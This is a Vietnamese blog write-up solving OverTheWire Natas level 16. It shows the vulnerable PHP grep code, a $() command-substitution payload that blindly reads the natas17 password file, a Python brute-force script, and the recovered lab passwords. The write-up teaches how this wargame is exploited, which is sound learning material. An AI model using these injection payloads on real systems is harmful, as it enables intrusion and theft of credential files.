[Writeup] [OverTheWire] [Natas] Level 16

Standard

Lời nói đầu

  • [Writeup] [OverTheWire] [Natas] Level 14, Level 15
  • Độ khó của bạn Natas này là basic (giống như bạn ấy tự giới thiệu). Nhưng với mình thì chẳng hề… khó chút nào emo_popo_beat_brick j/k
  • Mình hiện đang song song hoạt động ở blog này và http://forum.botbie.com/forum.php (mới mở). Sau này nếu bên đó ổn định thì cũng khó nói, nên tốt nhất các bạn cứ follow cả hai trang :”>

Nội dung chính

Screenshot 2013-08-22 11:20:16

Xem source:

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

Thấy quen quen emo_popo_shame

Vì rằng input đã bị escape một số ký tự chủ chốt, ta buộc phải nghĩ cách khác. Cách hay nhất chính là dùng… Google emo_popo_haha

Có những thứ trong cuộc sống mà chúng ta buộc phải chấp nhận một điều, rằng chúng ta chưa có đủ kiến thức để có thể đạt được nó. Chưa đi học, chúng ta không thể hiểu làm sao để giải cái phương trình bậc 2, và thậm chí cũng không biết rằng nó được gọi là phương trình bậc 2, nên không thể tự tìm cách giải quyết. Các bạn hiểu mình đang nói gì không? emo_popo_angry

Sau khi Google, mình biết được một điều rằng ta có thể lồng các câu lệnh con vào làm tham số của một câu lệnh khác, bằng cách sử dụng $(). Ví dụ:

echo $(echo :sure:)

output:

:sure:

Trở lại chức năng tìm kiếm của task này, dễ thấy ta có thể inject các câu lệnh theo ý muốn và dựa vào kết quả trả về để xác định pw cho task 17. Nó kiểu như:

  • Nếu ký tự đầu tiên của task17.pw là ‘a’: Tìm kiếm với keyword = ‘a’.
  • Ngược lại: Tìm kiếm với keyword ‘xxx’ (hoặc 1 từ bất kỳ không xuất hiện trong dictionary.txt).

Như thế, nếu có dữ liệu trả về, thì phép thử của chúng ta là đúng, còn ngược lại, phép thử là sai. Tương tự như vậy đối với các ký tự khác.

Tuy nhiên không hiểu sao mình chật vật mãi với đám ifthenfi mà vẫn không xong, nên mình đã Google tiếp và ra một câu lệnh khác, xì tin hơn nhiều:

Xét 2 câu lệnh sau và output của nó:

echo abcdef | grep -E ^a.*
abcdef

echo abcdef | grep -E ^c.*
(không trả về gì cả)

Tức là, nếu ta nhập input sau vào box search:

$(grep -E ^a.* /etc/natas_webpass/natas17)Americanism

thì sẽ có 2 trường hợp xảy ra:

  1. Có dữ liệu liên quan đến từ Americanism trả về: Như vậy $(grep…) trả về <rỗng>, tức là phép thử của chúng ta (task17.pw bắt đầu bằng a) là sai.
  2. Không có dữ liệu trả về: Như vậy $(grep…) trả về khác <rỗng>, tức là phép thử của chúng ta là đúng, ta tìm được 1 ký tự của pw.

Lặp lại các phép thử như vậy, ta sẽ có đủ 32 ký tự cần tìm.

Code minh họa (không khuyến cáo dùng vì rất chậm):

import urllib, urllib2

passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, "http://natas16.natas.labs.overthewire.org", 'natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
urllib2.install_opener(urllib2.build_opener(urllib2.HTTPBasicAuthHandler(passman)))

def get_url_content(url, cookie, post_data):
	if (post_data != None):
		req = urllib2.Request(url, urllib.urlencode(post_data))
	else:
		req = urllib2.Request(url)

	req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20130606 Firefox/24.0')

	if (cookie != None):
		req.add_header('Cookie', cookie)
	if (post_data != None):
		req.add_header('Content-type', 'application/x-www-form-urlencoded')

	source = urllib2.urlopen(req).read()
	return source

flag = ''
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in range(0, 32):
	for c in chars:
		print c
		query = ('$(grep -E ^{0}{1}.* /etc/natas_webpass/natas17)Americanism').format(flag, c)
		data = [('needle', query),
				('submit', 'Search')]

		source = get_url_content('http://natas16.natas.labs.overthewire.org/?%s' % urllib.urlencode(data), None, None)
		if 'Americanism' not in source:
			flag += c
			print 'Current flag:', flag
			break

Kết quả:

8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

One thought on “[Writeup] [OverTheWire] [Natas] Level 16

  1. Pingback: [Writeup] [OverTheWire] [Natas] Level 17 | yeuchimse

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s